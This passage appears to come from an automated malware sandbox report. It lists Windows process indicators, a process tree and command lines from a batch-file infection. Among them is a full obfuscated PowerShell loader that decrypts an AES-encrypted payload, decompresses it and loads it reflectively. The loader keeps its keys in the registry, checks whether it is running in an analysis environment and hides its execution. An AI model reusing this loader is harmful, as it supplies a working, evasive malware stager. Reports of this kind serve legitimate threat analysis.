1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	1176	dllhost.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2512	svchost.exe
Token: SeIncreaseQuotaPrivilege	2512	svchost.exe
Token: SeSecurityPrivilege	2512	svchost.exe
Token: SeTakeOwnershipPrivilege	2512	svchost.exe
Token: SeLoadDriverPrivilege	2512	svchost.exe
Token: SeSystemtimePrivilege	2512	svchost.exe
Token: SeBackupPrivilege	2512	svchost.exe
Token: SeRestorePrivilege	2512	svchost.exe
Token: SeShutdownPrivilege	2512	svchost.exe
Token: SeSystemEnvironmentPrivilege	2512	svchost.exe
Token: SeUndockPrivilege	2512	svchost.exe
Token: SeManageVolumePrivilege	2512	svchost.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeShutdownPrivilege	3348	Explorer.EXE
Token: SeCreatePagefilePrivilege	3348	Explorer.EXE
Token: SeShutdownPrivilege	3348	Explorer.EXE
Token: SeCreatePagefilePrivilege	3348	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2512	svchost.exe
Token: SeIncreaseQuotaPrivilege	2512	svchost.exe
Token: SeSecurityPrivilege	2512	svchost.exe
Token: SeTakeOwnershipPrivilege	2512	svchost.exe
Token: SeLoadDriverPrivilege	2512	svchost.exe
Token: SeSystemtimePrivilege	2512	svchost.exe
Token: SeBackupPrivilege	2512	svchost.exe
Token: SeRestorePrivilege	2512	svchost.exe
Token: SeShutdownPrivilege	2512	svchost.exe
Token: SeSystemEnvironmentPrivilege	2512	svchost.exe
Token: SeUndockPrivilege	2512	svchost.exe
Token: SeManageVolumePrivilege	2512	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2512	svchost.exe
Token: SeIncreaseQuotaPrivilege	2512	svchost.exe
Token: SeSecurityPrivilege	2512	svchost.exe
Token: SeTakeOwnershipPrivilege	2512	svchost.exe
Token: SeLoadDriverPrivilege	2512	svchost.exe
Token: SeSystemtimePrivilege	2512	svchost.exe
Token: SeBackupPrivilege	2512	svchost.exe
Token: SeRestorePrivilege	2512	svchost.exe
Token: SeShutdownPrivilege	2512	svchost.exe
Token: SeSystemEnvironmentPrivilege	2512	svchost.exe
Token: SeUndockPrivilege	2512	svchost.exe
Token: SeManageVolumePrivilege	2512	svchost.exe
Token: SeDebugPrivilege	1080	wmiprvse.exe
Token: SeAuditPrivilege	1816	svchost.exe
Token: SeAuditPrivilege	2456	svchost.exe
Token: SeAuditPrivilege	2456	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2512	svchost.exe
Token: SeIncreaseQuotaPrivilege	2512	svchost.exe
Token: SeSecurityPrivilege	2512	svchost.exe
Token: SeTakeOwnershipPrivilege	2512	svchost.exe
Token: SeLoadDriverPrivilege	2512	svchost.exe
Token: SeSystemtimePrivilege	2512	svchost.exe
Token: SeBackupPrivilege	2512	svchost.exe
Token: SeRestorePrivilege	2512	svchost.exe
Token: SeShutdownPrivilege	2512	svchost.exe
Token: SeSystemEnvironmentPrivilege	2512	svchost.exe
Token: SeUndockPrivilege	2512	svchost.exe
Token: SeManageVolumePrivilege	2512	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2512	svchost.exe
Token: SeIncreaseQuotaPrivilege	2512	svchost.exe
Token: SeSecurityPrivilege	2512	svchost.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE
3348	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5012	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 1316	2144	cmd.exe	82
PID 2144 wrote to memory of 1316	2144	cmd.exe	82
PID 1316 wrote to memory of 3076	1316	powershell.exe	84
PID 1316 wrote to memory of 3076	1316	powershell.exe	84
PID 2144 wrote to memory of 3092	2144	cmd.exe	85
PID 2144 wrote to memory of 3092	2144	cmd.exe	85
PID 2144 wrote to memory of 1376	2144	cmd.exe	86
PID 2144 wrote to memory of 1376	2144	cmd.exe	86
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1376 wrote to memory of 1176	1376	powershell.exe	88
PID 1176 wrote to memory of 608	1176	dllhost.exe	5
PID 1176 wrote to memory of 668	1176	dllhost.exe	7
PID 1176 wrote to memory of 948	1176	dllhost.exe	12
PID 1176 wrote to memory of 64	1176	dllhost.exe	13
PID 1176 wrote to memory of 396	1176	dllhost.exe	14
PID 1176 wrote to memory of 864	1176	dllhost.exe	15
PID 1176 wrote to memory of 424	1176	dllhost.exe	16
PID 1176 wrote to memory of 1036	1176	dllhost.exe	17
PID 1176 wrote to memory of 1144	1176	dllhost.exe	18
PID 1176 wrote to memory of 1192	1176	dllhost.exe	20
PID 1176 wrote to memory of 1264	1176	dllhost.exe	21
PID 1176 wrote to memory of 1292	1176	dllhost.exe	22
PID 1176 wrote to memory of 1392	1176	dllhost.exe	23
PID 1176 wrote to memory of 1428	1176	dllhost.exe	24
PID 1176 wrote to memory of 1448	1176	dllhost.exe	25
PID 1176 wrote to memory of 1464	1176	dllhost.exe	26
PID 668 wrote to memory of 1080	668	lsass.exe	83
PID 1176 wrote to memory of 1472	1176	dllhost.exe	27
PID 1176 wrote to memory of 1628	1176	dllhost.exe	28
PID 668 wrote to memory of 1816	668	lsass.exe	39
PID 668 wrote to memory of 1080	668	lsass.exe	83
PID 1176 wrote to memory of 1680	1176	dllhost.exe	29
PID 668 wrote to memory of 1816	668	lsass.exe	39
PID 1176 wrote to memory of 1692	1176	dllhost.exe	30
PID 1176 wrote to memory of 1800	1176	dllhost.exe	31
PID 1176 wrote to memory of 1872	1176	dllhost.exe	32
PID 1376 wrote to memory of 740	1376	powershell.exe	89
PID 1376 wrote to memory of 740	1376	powershell.exe	89
PID 668 wrote to memory of 2476	668	lsass.exe	45
PID 668 wrote to memory of 2476	668	lsass.exe	45
PID 1176 wrote to memory of 1884	1176	dllhost.exe	33
PID 1176 wrote to memory of 1892	1176	dllhost.exe	34
PID 1176 wrote to memory of 1928	1176	dllhost.exe	35
PID 1176 wrote to memory of 1956	1176	dllhost.exe	36
PID 1176 wrote to memory of 1436	1176	dllhost.exe	37
PID 1176 wrote to memory of 1816	1176	dllhost.exe	39
PID 1176 wrote to memory of 2224	1176	dllhost.exe	40
PID 1176 wrote to memory of 2272	1176	dllhost.exe	41
PID 1176 wrote to memory of 2280	1176	dllhost.exe	42
PID 1176 wrote to memory of 2404	1176	dllhost.exe	43
PID 1176 wrote to memory of 2456	1176	dllhost.exe	44
PID 1176 wrote to memory of 2476	1176	dllhost.exe	45
PID 1176 wrote to memory of 2504	1176	dllhost.exe	46
PID 1176 wrote to memory of 2512	1176	dllhost.exe	47
PID 1176 wrote to memory of 2552	1176	dllhost.exe	48
PID 1176 wrote to memory of 2892	1176	dllhost.exe	49
PID 1176 wrote to memory of 2916	1176	dllhost.exe	50
PID 1176 wrote to memory of 3036	1176	dllhost.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:64
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ec8b81a2-9b16-4354-b9c1-064af0f57a62}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1176
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{fbb3137e-791d-40d5-bd0c-1f3a0674db43}
  2⤵
  PID:116

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1144
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1956

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2456

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2916

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1020

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\filetest.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe "if ((Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model | findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse | Where-Object { -not $_.PSIsContainer } | Measure-Object).Count)) {exit 900} else {exit 1}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Windows\system32\findstr.exe
      "C:\Windows\system32\findstr.exe" /i WDS100T2B0A
      4⤵
      PID:3076
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function qmFV($REHT){ Invoke-Expression -InformationAction Ignore '$TTZK=vB[vBSvByvBstvBevBmvB.vBSvBevBcvBurvBivBtvBy.vBCvBrvBypvBtvBovBgrvBapvBhvBy.vBAevBsvB]:vB:vBCvBrvBeavBtvBevB()vB;'.Replace('vB', ''); Invoke-Expression -Debug '$TTZK.PkMPkoPkdPke=Pk[PkSPkyPksPktPkePkm.PkSPkePkcuPkrPkiPktyPk.PkCPkryPkptPkoPkgrPkapPkhPky.PkCPkiPkpPkhePkrPkMPkodPkePk]:Pk:PkCPkBCPk;'.Replace('Pk', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose '$TTZK.vsPvsavsdvsdivsnvsgvs=vs[vsSvsyvsstvsevsmvs.Svsevscvsurvsivstvsy.vsCrvsyvsptvsogvsrvsapvshvsyvs.vsPavsdvsdvsinvsgvsMovsdvsevs]:vs:vsPvsKvsCvsSvs7vs;'.Replace('vs', ''); Invoke-Expression -Debug '$TTZK.xPKxPexPyxP=[xPSxPyxPsxPtxPexPmxP.CxPoxPnxPvexPrxPtxP]:xP:xPFxProxPmBxPaxPsexP64xPSxPtrxPixPnxPg("xPhxPOxPixPbxxP/xPTxPsxPDxPUxPfxPQDxPvxPLxP4VxPDxPHxP90xPGxPfxP9kxPJCxPixPJFxPcuxPDxP8yxPAxPbxPMxPeCxP4xPWxPc=xP");'.Replace('xP', ''); Invoke-Expression -Debug '$TTZK.dkIdkVdk=dk[Sdkydksdktdkedkmdk.dkCodkndkvdkerdktdk]dk::dkFdkrdkomdkBadksdke6dk4Sdktdkridkndkg("dkBdkvdkidkt0dkjdkfdkAdkudkJdk4dk7Jdk1dkLdk6bdkOdkGdk79dkQdk=dk=");'.Replace('dk', ''); $pOIf=$TTZK.CreateDecryptor(); $TvBT=$pOIf.TransformFinalBlock($REHT, 0, $REHT.Length); $pOIf.Dispose(); $TTZK.Dispose(); $TvBT;}function MetK($REHT){ Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore '$RRoW=pANpAepAwpA-OpAbpAjpAepAcpAtpA pASypAspAtpAempA.pAIpAO.pAMpAepAmopArypASpAtrpAeapAmpA(,$REHT);'.Replace('pA', ''); Invoke-Expression -Verbose -WarningAction Inquire '$HnaT=pANpAepAwpA-OpAbpAjpAepAcpAtpA pASypAspAtpAempA.pAIpAO.pAMpAepAmopArypASpAtrpAeapAmpA;'.Replace('pA', ''); Invoke-Expression -Verbose -WarningAction Inquire '$OYGv=KVNKVeKVwKV-OKVbKVjKVeKVcKVtKV KVSyKVsKVtKVemKV.KVIKVO.KVCKVoKVmpKVreKVsKVsiKVonKV.KVGZKViKVpKVSKVtrKVeKVaKVm($RRoW, KV[KVIKVOKV.CKVoKVmKVpKVrKVeKVsKVsiKVoKVnKV.CKVoKVmKVprKVeKVsKVsiKVonKVMKVodKVe]KV:KV:DKVeKVcKVoKVmpKVrKVeKVssKV);'.Replace('KV', ''); $OYGv.CopyTo($HnaT); $OYGv.Dispose(); $RRoW.Dispose(); $HnaT.Dispose(); $HnaT.ToArray();}function EXHV($REHT,$EVat){ Invoke-Expression -Verbose '$gHke=DN[DNSDNyDNstDNeDNmDN.DNRDNeDNfDNleDNcDNtDNioDNnDN.DNAsDNsDNeDNmbDNlyDN]DN::DNLoDNaDNd([byte[]]$REHT);'.Replace('DN', ''); Invoke-Expression -InformationAction Ignore '$vNwL=$gHke.CAECAnCAtCAryCAPCAoCAiCAnCAtCA;'.Replace('CA', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire '$vNwLio.ioIioniovoiokioeio(io$ioniouiollio, $EVat);'.Replace('io', '');}function JYY($vrvS){ $registryPath = 'HKLM:\SOFTWARE\OOhhhm='; if (Test-Path $registryPath) { Remove-ItemProperty -Path $registryPath -Name * -Force } else { New-Item -Path $registryPath -Force; } Set-ItemProperty -Path $registryPath -Name 'Map' -Value 'MhRVQwCgfyDG;ODJpvpxTYFqN;dlOMrqSijFnyTh'; Set-ItemProperty -Path $registryPath -Name 'MhRVQwCgfyDG' -Value $vrvS; Set-ItemProperty -Path $registryPath -Name 'ODJpvpxTYFqN' -Value 'hOibx/TsDUfQDvL4VDH90Gf9kJCiJFcuD8yAbMeC4Wc='; Set-ItemProperty -Path $registryPath -Name 'dlOMrqSijFnyTh' -Value 'Bvit0jfAuJ47J1L6bOG79Q==';}$lVPp = 'C:\Users\Admin\AppData\Local\Temp\filetest.bat';$host.UI.RawUI.WindowTitle = $lVPp;$Enkb=[System.IO.File]::ReadAllText($lVPp).Split([Environment]::NewLine);foreach ($bUJs in $Enkb) { if ($bUJs.StartsWith('WWiTL')) { $DBhl=$bUJs.Substring(5); break; }}JYY $DBhl;$vrvS=[string[]]$DBhl.Split('\');Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore -Verbose '$opM = MetK (qmFV (tq[tqCtqotqnvtqetqrtqttq]tq:tq:tqFrtqotqmtqBatqstqetq64tqStqttqritqngtq($vrvS[0].Replace("#", "/").Replace("@", "A"))));'.Replace('tq', '');Invoke-Expression -Debug '$tHS = MetK (qmFV (tq[tqCtqotqnvtqetqrtqttq]tq:tq:tqFrtqotqmtqBatqstqetq64tqStqttqritqngtq($vrvS[1].Replace("#", "/").Replace("@", "A"))));'.Replace('tq', '');Invoke-Expression -Verbose -Debug '$Hrm = MetK (qmFV (tq[tqCtqotqnvtqetqrtqttq]tq:tq:tqFrtqotqmtqBatqstqetq64tqStqttqritqngtq($vrvS[2].Replace("#", "/").Replace("@", "A"))));'.Replace('tq', '');EXHV $opM $null;EXHV $tHS $null;EXHV $Hrm (,[string[]] (''));
    3⤵
    PID:3092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1376
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\filetest.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:1608
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "if ((Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model | findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse | Where-Object { -not $_.PSIsContainer } | Measure-Object).Count)) {exit 900} else {exit 1}"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3936
      - C:\Windows\system32\findstr.exe
        
        "C:\Windows\system32\findstr.exe" /i WDS100T2B0A
        6⤵
        
        PID:1004
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function qmFV($REHT){ Invoke-Expression -InformationAction Ignore '$TTZK=vB[vBSvByvBstvBevBmvB.vBSvBevBcvBurvBivBtvBy.vBCvBrvBypvBtvBovBgrvBapvBhvBy.vBAevBsvB]:vB:vBCvBrvBeavBtvBevB()vB;'.Replace('vB', ''); Invoke-Expression -Debug '$TTZK.PkMPkoPkdPke=Pk[PkSPkyPksPktPkePkm.PkSPkePkcuPkrPkiPktyPk.PkCPkryPkptPkoPkgrPkapPkhPky.PkCPkiPkpPkhePkrPkMPkodPkePk]:Pk:PkCPkBCPk;'.Replace('Pk', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose '$TTZK.vsPvsavsdvsdivsnvsgvs=vs[vsSvsyvsstvsevsmvs.Svsevscvsurvsivstvsy.vsCrvsyvsptvsogvsrvsapvshvsyvs.vsPavsdvsdvsinvsgvsMovsdvsevs]:vs:vsPvsKvsCvsSvs7vs;'.Replace('vs', ''); Invoke-Expression -Debug '$TTZK.xPKxPexPyxP=[xPSxPyxPsxPtxPexPmxP.CxPoxPnxPvexPrxPtxP]:xP:xPFxProxPmBxPaxPsexP64xPSxPtrxPixPnxPg("xPhxPOxPixPbxxP/xPTxPsxPDxPUxPfxPQDxPvxPLxP4VxPDxPHxP90xPGxPfxP9kxPJCxPixPJFxPcuxPDxP8yxPAxPbxPMxPeCxP4xPWxPc=xP");'.Replace('xP', ''); Invoke-Expression -Debug '$TTZK.dkIdkVdk=dk[Sdkydksdktdkedkmdk.dkCodkndkvdkerdktdk]dk::dkFdkrdkomdkBadksdke6dk4Sdktdkridkndkg("dkBdkvdkidkt0dkjdkfdkAdkudkJdk4dk7Jdk1dkLdk6bdkOdkGdk79dkQdk=dk=");'.Replace('dk', ''); $pOIf=$TTZK.CreateDecryptor(); $TvBT=$pOIf.TransformFinalBlock($REHT, 0, $REHT.Length); $pOIf.Dispose(); $TTZK.Dispose(); $TvBT;}function MetK($REHT){ Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore '$RRoW=pANpAepAwpA-OpAbpAjpAepAcpAtpA pASypAspAtpAempA.pAIpAO.pAMpAepAmopArypASpAtrpAeapAmpA(,$REHT);'.Replace('pA', ''); Invoke-Expression -Verbose -WarningAction Inquire '$HnaT=pANpAepAwpA-OpAbpAjpAepAcpAtpA pASypAspAtpAempA.pAIpAO.pAMpAepAmopArypASpAtrpAeapAmpA;'.Replace('pA', ''); Invoke-Expression -Verbose -WarningAction Inquire '$OYGv=KVNKVeKVwKV-OKVbKVjKVeKVcKVtKV KVSyKVsKVtKVemKV.KVIKVO.KVCKVoKVmpKVreKVsKVsiKVonKV.KVGZKViKVpKVSKVtrKVeKVaKVm($RRoW, KV[KVIKVOKV.CKVoKVmKVpKVrKVeKVsKVsiKVoKVnKV.CKVoKVmKVprKVeKVsKVsiKVonKVMKVodKVe]KV:KV:DKVeKVcKVoKVmpKVrKVeKVssKV);'.Replace('KV', ''); $OYGv.CopyTo($HnaT); $OYGv.Dispose(); $RRoW.Dispose(); $HnaT.Dispose(); $HnaT.ToArray();}function EXHV($REHT,$EVat){ Invoke-Expression -Verbose '$gHke=DN[DNSDNyDNstDNeDNmDN.DNRDNeDNfDNleDNcDNtDNioDNnDN.DNAsDNsDNeDNmbDNlyDN]DN::DNLoDNaDNd([byte[]]$REHT);'.Replace('DN', ''); Invoke-Expression -InformationAction Ignore '$vNwL=$gHke.CAECAnCAtCAryCAPCAoCAiCAnCAtCA;'.Replace('CA', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire '$vNwLio.ioIioniovoiokioeio(io$ioniouiollio, $EVat);'.Replace('io', '');}function JYY($vrvS){ $registryPath = 'HKLM:\SOFTWARE\OOhhhm='; if (Test-Path $registryPath) { Remove-ItemProperty -Path $registryPath -Name * -Force } else { New-Item -Path $registryPath -Force; } Set-ItemProperty -Path $registryPath -Name 'Map' -Value 'MhRVQwCgfyDG;ODJpvpxTYFqN;dlOMrqSijFnyTh'; Set-ItemProperty -Path $registryPath -Name 'MhRVQwCgfyDG' -Value $vrvS; Set-ItemProperty -Path $registryPath -Name 'ODJpvpxTYFqN' -Value 'hOibx/TsDUfQDvL4VDH90Gf9kJCiJFcuD8yAbMeC4Wc='; Set-ItemProperty -Path $registryPath -Name 'dlOMrqSijFnyTh' -Value 'Bvit0jfAuJ47J1L6bOG79Q==';}$lVPp = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $lVPp;$Enkb=[System.IO.File]::ReadAllText($lVPp).Split([Environment]::NewLine);foreach ($bUJs in $Enkb) { if ($bUJs.StartsWith('WWiTL')) { $DBhl=$bUJs.Substring(5); break; }}JYY $DBhl;$vrvS=[string[]]$DBhl.Split('\');Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore -Verbose '$opM = MetK (qmFV (tq[tqCtqotqnvtqetqrtqttq]tq:tq:tqFrtqotqmtqBatqstqetq64tqStqttqritqngtq($vrvS[0].Replace("#", "/").Replace("@", "A"))));'.Replace('tq', '');Invoke-Expression -Debug '$tHS = MetK (qmFV (tq[tqCtqotqnvtqetqrtqttq]tq:tq:tqFrtqotqmtqBatqstqetq64tqStqttqritqngtq($vrvS[1].Replace("#", "/").Replace("@", "A"))));'.Replace('tq', '');Invoke-Expression -Verbose -Debug '$Hrm = MetK (qmFV (tq[tqCtqotqnvtqetqrtqttq]tq:tq:tqFrtqotqmtqBatqstqetq64tqStqttqritqngtq($vrvS[2].Replace("#", "/").Replace("@", "A"))));'.Replace('tq', '');EXHV $opM $null;EXHV $tHS $null;EXHV $Hrm (,[string[]] (''));
        5⤵
        
        PID:3472
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:5012
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:4560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3568

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4140

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3440

C:\Windows\system32\svchost.exe
